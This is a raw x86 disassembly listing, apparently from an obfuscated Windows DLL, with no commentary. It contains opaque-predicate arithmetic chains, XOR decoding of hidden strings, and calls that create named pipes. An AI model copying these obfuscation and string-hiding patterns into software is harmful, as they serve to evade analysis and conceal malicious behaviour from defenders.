sub eax, 0x8eac3a99
imul eax, eax, 0x6b6df65d
mov dword [ecx], 1
cmp eax, 0x859d69d3
ja 0x100bf1ef
mov eax, dword [0x101822f4]
imul eax, dword [0x101822f8]
sub eax, 0x243daf0
mov ecx, 0xe0740c5e
xor edx, edx
div ecx
or eax, 0x66497468
xor eax, 0x3c4a2506
mov ecx, 0x9a65ce8d
xor edx, edx
div ecx
and eax, 0xd6a1560b
sub eax, 0x2280f10e
and eax, 0x4e3f8de8
add eax, 0x46196f0c
xor eax, 0xa40856db
add eax, 0xfc5463f0
and eax, 0x6adcdea5
and eax, 0x5cd1e978
add eax, 0xd982d791
imul eax, eax, 0xde78a1e0
and eax, 0xa8c7bd2
imul eax, eax, 0xff4f5994
imul eax, eax, 0x9e93ed2
and eax, 0xc7ac4454
add eax, 0xe9c06645
sub eax, 0x10e07d23
add eax, 0xec1bf8f9
imul eax, eax, 0x11503e18
imul eax, eax, 0x8813dca
or eax, 0x95291770
and eax, 0x77c1b40e
imul eax, eax, 0x11940c4f
imul eax, eax, 0xda68befb
sub eax, 0x8503c8e9
and eax, 0x77e57dec
xor eax, 0xfabf3df
imul eax, eax, 0xa5250ebf
or eax, 0x37861a86
xor eax, 0x65cd6064
and eax, 0x8e1d424d
or eax, 0xc93c4916
xor eax, 0xa7a18687
and eax, 0x44875feb
cmp eax, 0xaf0b2dd6
ja 0x100bf111
mov eax, dword [0x101822fc]
xor eax, dword [0x10182300]
and eax, 0x4994f851
or eax, 0xef20f23e
add eax, 0x2244efed
sub eax, 0xadf615a8
imul eax, eax, 0xde2e64dc
and eax, 0x455a3aeb
or eax, 0xc0ed4722
xor eax, 0xc1e8730a
mov ecx, 0x44cbdd29
xor edx, edx
div ecx
add eax, 0x50b41b1
or eax, 0x9e37173e
add eax, 0x60203be8
xor eax, 0x736e3042
add eax, 0x33b8941b
mov ecx, 0xb5b3a33b
xor edx, edx
div ecx
xor eax, 0x74ac2792
mov ecx, 0x88390d3e
xor edx, edx
div ecx
sub eax, 0x41a67afd
add eax, 0x38c37c5
imul eax, eax, 0x2013327d
imul eax, eax, 0x8388798
or eax, 0x8b561851
xor eax, 0x61c55ec4
mov ecx, 0x2ca2fd0a
xor edx, edx
div ecx
and eax, 0xd5c1680e
mov ecx, 0x2988f314
xor edx, edx
div ecx
sub eax, 0xcd84aaa8
sub eax, 0x53663ee2
xor eax, 0xfbe75839
or eax, 0x97aafbeb
imul eax, eax, 0xfb48286a
and eax, 0xb489efcd
add eax, 0x11632917
sub eax, 0xb8c83330
mov ecx, 0xed293659
xor edx, edx
div ecx
and eax, 0x17733c29
imul eax, eax, 0xd1d9283e
mov ecx, 0x525beed
xor edx, edx
div ecx
cmp eax, 0x269a2b7f
jae 0x100bfca5
mov eax, dword [0x10182304]
or eax, dword [0x10182308]
add eax, 0x6a6564df
add eax, 0xef1fd4de
add eax, 0x6b65baf3
add eax, 0xa30246a8
xor eax, 0x88745a2a
xor eax, 0xc729517e
or eax, 0xd82cb4bd
add eax, 0xa29e88cd
xor eax, 0x4bab987d
sub eax, 0xb9946763
add eax, 0x969611a
imul eax, eax, 0x8f5e7079
add eax, 0x91e149d1
xor eax, 0xf57ccc40
xor eax, 0x9f81f56d
mov ecx, 0x1b77390
xor edx, edx
div ecx
mov ecx, 0xd58c7525
xor edx, edx
div ecx
imul eax, eax, 0xd7d59343
sub eax, 0x29293340
mov ecx, 0x451dca79
xor edx, edx
div ecx
add eax, 0xb9be3708
and eax, 0x6b1f9507
or eax, 0x8cf12016
sub eax, 0xb86df62f
mov ecx, 0xb9e071d5
xor edx, edx
div ecx
and eax, 0x8e0466d2
imul eax, eax, 0xef4306ee
xor eax, 0xaf6a2bf0
add eax, 0x6c1172bf
or eax, 0x8aeea79b
add eax, 0xb18bccfa
imul eax, eax, 0xf190df7c
sub eax, 0x29a8bac4
and eax, 0xbccbc4f2
sub eax, 0xe6044260
sub eax, 0xd2b80084
add eax, 0xdff6dbc
mov ecx, 0xf9aba6f1
xor edx, edx
div ecx
cmp eax, 0x8ae1f312
je 0x100bf4c9
jmp 0x100bf5c3
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [0x1018230c]
xor edx, edx
div dword [0x10182310]
sub eax, 0x35d9f323
xor eax, 0xba4a9641
add eax, 0x9b36bf79
or eax, 0x1a0b46d3
or eax, 0x214d2c9
or eax, 0x6f3ada10
imul eax, eax, 0xbdd440dd
xor eax, 0xe6d57b03
or eax, 0x1a847c0e
and eax, 0x1d54586c
sub eax, 0x6172e83c
mov ecx, 0x60f19329
xor edx, edx
div ecx
or eax, 0x8d8fa82f
sub eax, 0x9ecc21cc
xor eax, 0x1d44904
and eax, 0x2d62a886
mov ecx, 0x2cc56457
xor edx, edx
div ecx
sub eax, 0x724467
or eax, 0x6b59042d
xor eax, 0xef3f845a
mov ecx, 0x32b18e44
xor edx, edx
div ecx
and eax, 0xb656c075
xor eax, 0x7211ebc5
sub eax, 0xf16eb5dd
mov ecx, 0xc0fdae61
xor edx, edx
div ecx
sub eax, 0xa358ec
add eax, 0x687c27e3
or eax, 0xa94342e8
mov ecx, 0xf451413e
xor edx, edx
div ecx
sub eax, 0xe15e80ae
and eax, 0x4ee7976a
add eax, 0xb6a7149c
sub eax, 0x86e26573
or eax, 0xd74c932c
imul eax, eax, 0x6b588ce3
mov ecx, 0x2e8940c6
xor edx, edx
div ecx
add eax, 0x839b58f5
mov ecx, 0x3c86b507
xor edx, edx
div ecx
cmp eax, 0xa8be3923
jae 0x100bfcaa
mov ecx, dword [ebp - 0x1c]
mov eax, dword [str._dP]
and eax, dword [0x10182318]
xor eax, 0x75bd91f2
add eax, 0xb1e30012
sub eax, 0xc5b99797
add eax, 0xb733d3b
add eax, 0xaa3695d3
sub eax, 0x3bca5b43
or eax, 0x3b9a3cc5
imul eax, eax, 0x7f7ffc55
sub eax, 0x1c7f726f
xor eax, 0xd3abbe49
sub eax, 0x3c32cea5
sub eax, 0xe39326f8
xor eax, 0xa45411a4
and eax, 0x7654edf4
xor eax, 0x43d18842
sub eax, 0xbb7e897c
imul eax, eax, 0xa2ab52b4
sub eax, 0xc936edf7
and eax, 0x21a52c52
xor eax, 0x6ce8b296
sub eax, 0x13182312
mov esi, 0x2db5e16d
xor edx, edx
div esi
sub eax, 0xcb9fc2f5
add eax, 0xc46507c7
xor eax, 0xa519aa4d
sub eax, 0x5d645158
imul eax, eax, 0xfbe42c3
add eax, 0x9d65734f
add eax, 0x509dccf1
imul eax, eax, 0x1c5ec9d0
imul eax, eax, 0x1ee046eb
or eax, 0xf0d5c943
sub eax, 0x772698bf
or eax, 0x84742cd5
imul eax, eax, 0xcb5d6c7
imul eax, eax, 0xac330469
xor eax, 0x1cab7fb
add eax, 0x3fdb07fc
mov ecx, dword [ecx]
mov dword [ebp - 0x28], ecx
cmp eax, 0x6b8fcc7e
jb 0x100bfcaa
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10126c4a
mov eax, dword [ebp - 0x28]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
jmp 0x100be705
mov eax, dword [0x1018231c]
sub eax, dword [0x10182320]
sub eax, 0xf47c08be
and eax, 0x4554fdfb
mov ecx, 0xf867f38d
xor edx, edx
div ecx
imul eax, eax, 0x2b934f90
mov ecx, 0xda68be0e
xor edx, edx
div ecx
xor eax, 0x69e7e4a6
or eax, 0x144b0cca
sub eax, 0x478b4fe
xor eax, 0xac814255
mov ecx, 0xa4701b2d
xor edx, edx
div ecx
xor eax, 0x7286526b
sub eax, 0x75e90f7e
imul eax, eax, 0xa30b1869
sub eax, 0x456aa092
and eax, 0xae4ddb09
add eax, 0x14146424
imul eax, eax, 0x9e2ad0c0
sub eax, 0x2623ccac
and eax, 0xc0661454
mov ecx, 0x72245696
xor edx, edx
div ecx
imul eax, eax, 0xd77f3cdc
and eax, 0x2e1c47d3
xor eax, 0x82dad582
sub eax, 0x8a46627f
sub eax, 0x19bf6885
add eax, 0x605ef929
xor eax, 0xdb82f57
or eax, 0x34f5b4b3
imul eax, eax, 0xe2bdba2
add eax, 0xa52246cf
add eax, 0x2153f103
imul eax, eax, 0x60d2fc24
sub eax, 0x8c7cae9a
mov ecx, 0xfacac7ed
xor edx, edx
div ecx
xor eax, 0x50195773
xor eax, 0x976fdee3
or eax, 0xa8aaefd9
or eax, 0x331be014
cmp eax, 0x124e33c2
je 0x100bfcaf
mov eax, dword [0x10182324]
xor edx, edx
div dword [0x10182328]
sub eax, 0xa36704d
or eax, 0xda4346f8
imul eax, eax, 0x51f67a36
add eax, 0xd5339aa9
mov ecx, 0xf6604553
xor edx, edx
div ecx
sub eax, 0x6736befc
xor eax, 0x700f46f5
mov ecx, 0x97d4fae9
xor edx, edx
div ecx
and eax, 0xa6b59446
and eax, 0x4a1ed9ad
and eax, 0xe3cd3cb7
and eax, 0x9c5b1f69
sub eax, 0x277fdcda
xor eax, 0x6b8714d4
imul eax, eax, 0xa40866b9
mov ecx, 0x2af9ca91
xor edx, edx
div ecx
add eax, 0x40765865
add eax, 0xfbeeda76
or eax, 0xf8a89af
sub eax, 0xbc09ced2
imul eax, eax, 0xd2f8f90
add eax, 0xbdd72060
imul eax, eax, 0xdbd1dbba
sub eax, 0x6bbca3c5
and eax, 0xfaaa5310
add eax, 0x6ba7b3b4
and eax, 0xe07728b1
and eax, 0x10bf3f1b
and eax, 0xea3423
xor eax, 0x39c3e8b1
or eax, 0x369efe94
mov ecx, 0xffbef208
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0xc]
and ecx, 0xbe6183ac
add ecx, 0xd9ed3e83
sub ecx, 0x163c165
sub ecx, 0x51e6e7ab
add ecx, 0x274dc227
xor ecx, 0x2ebf952
mov dword [ebp - 0x2c], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x18]
mov edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [ecx], edx
cmp eax, 0xbc7ddf13
je 0x100bf8ad
jmp 0x100beca9
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
jmp 0x100bf111
mov al, byte [0x1017c220]
xor al, 4
mov byte [str.__gi], al
mov al, byte [0x1017c221]
xor al, 0x36
mov byte [0x1017c242], al
mov al, byte [0x1017c222]
xor al, 0x22
mov byte [0x1017c243], al
mov al, byte [0x1017c223]
xor al, 0x30
mov byte [0x1017c244], al
mov al, byte [0x1017c224]
xor al, 0xbd
mov byte [0x1017c246], al
mov al, byte [0x1017c225]
xor al, 0x77
mov byte [0x1017c247], al
mov al, byte [0x1017c226]
xor al, 0x50
mov byte [0x1017c248], al
mov al, byte [0x1017c227]
xor al, 0x56
mov byte [0x1017c249], al
mov al, byte [0x1017c228]
xor al, 0x31
mov byte [0x1017c24a], al
mov al, byte [0x1017c229]
xor al, 0xb1
mov byte [0x1017c24b], al
mov al, byte [0x1017c22a]
xor al, 0x81
mov byte [0x1017c24c], al
mov al, byte [0x1017c22b]
xor al, 0xf2
mov byte [0x1017c24d], al
mov al, byte [0x1017c22c]
xor al, 0xeb
mov byte [0x1017c24f], al
mov al, byte [0x1017c22d]
xor al, 2
mov byte [0x1017c250], al
mov al, byte [0x1017c22e]
xor al, 0x5e
mov byte [0x1017c251], al
mov al, byte [0x1017c22f]
xor al, 0x47
mov byte [0x1017c253], al
mov al, byte [0x1017c230]
xor al, 0x8f
mov byte [0x1017c254], al
mov al, byte [0x1017c231]
xor al, 0xce
mov byte [0x1017c255], al
mov al, byte [0x1017c232]
xor al, 0xd6
mov byte [0x1017c256], al
mov al, byte [0x1017c233]
xor al, 0x2e
mov byte [0x1017c257], al
mov al, byte [0x1017c234]
xor al, 0xc2
mov byte [0x1017c258], al
mov al, byte [0x1017c235]
xor al, 0x41
mov byte [0x1017c259], al
mov al, byte [0x1017c236]
xor al, 0x67
mov byte [0x1017c25a], al
mov al, byte [0x1017c260]
xor al, 0x52
mov byte [0x1017c280], al
mov al, byte [0x1017c261]
xor al, 0x3c
mov byte [0x1017c281], al
mov al, byte [0x1017c262]
xor al, 0x7c
mov byte [0x1017c283], al
mov al, byte [0x1017c263]
xor al, 0xa9
mov byte [0x1017c284], al
mov al, byte [0x1017c264]
xor al, 0x2a
mov byte [0x1017c285], al
mov al, byte [0x1017c265]
xor al, 0x31
mov byte [0x1017c286], al
mov al, byte [0x1017c266]
xor al, 0xb4
mov byte [0x1017c287], al
mov al, byte [0x1017c267]
xor al, 0x57
mov byte [0x1017c288], al
mov al, byte [0x1017c268]
xor al, 0xcf
mov byte [0x1017c289], al
mov al, byte [0x1017c269]
xor al, 0x7c
mov byte [0x1017c28a], al
mov al, byte [0x1017c26a]
xor al, 0x2f
mov byte [0x1017c28b], al
mov al, byte [0x1017c26b]
xor al, 0x6d
mov byte [0x1017c28c], al
mov al, byte [0x1017c26c]
xor al, 0x69
mov byte [0x1017c28d], al
mov al, byte [0x1017c26d]
xor al, 0x77
mov byte [0x1017c28e], al
mov al, byte [0x1017c26e]
xor al, 0xbb
mov byte [0x1017c28f], al
mov al, byte [0x1017c26f]
xor al, 0x94
mov byte [0x1017c290], al
mov al, byte [0x1017c270]
xor al, 0xe1
mov byte [str.0s4_X2n_], al
mov al, byte [0x1017c271]
xor al, 0x7e
mov byte [0x1017c293], al
mov al, byte [0x1017c272]
xor al, 0xcc
mov byte [0x1017c294], al
mov al, byte [0x1017c273]
xor al, 0x5f
mov byte [0x1017c295], al
mov al, byte [0x1017c274]
xor al, 0xa7
mov byte [0x1017c296], al
mov al, byte [0x1017c275]
xor al, 0x54
mov byte [0x1017c297], al
mov al, byte [0x1017c276]
xor al, 0x1c
mov byte [0x1017c298], al
mov al, byte [0x1017c277]
xor al, 0xab
mov byte [0x1017c299], al
mov al, byte [0x1017c278]
xor al, 0xc6
mov byte [0x1017c29a], al
mov al, byte [0x1017c279]
xor al, 0xab
mov byte [0x1017c29c], al
jmp 0x100bdf7a
jmp 0x100be510
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
jmp 0x100be7f4
jmp 0x100bead1
jmp 0x100bef25
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
jmp 0x100bf1ef
jmp 0x100bf4c9
jmp 0x100bf6b7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
jmp 0x100bf8ad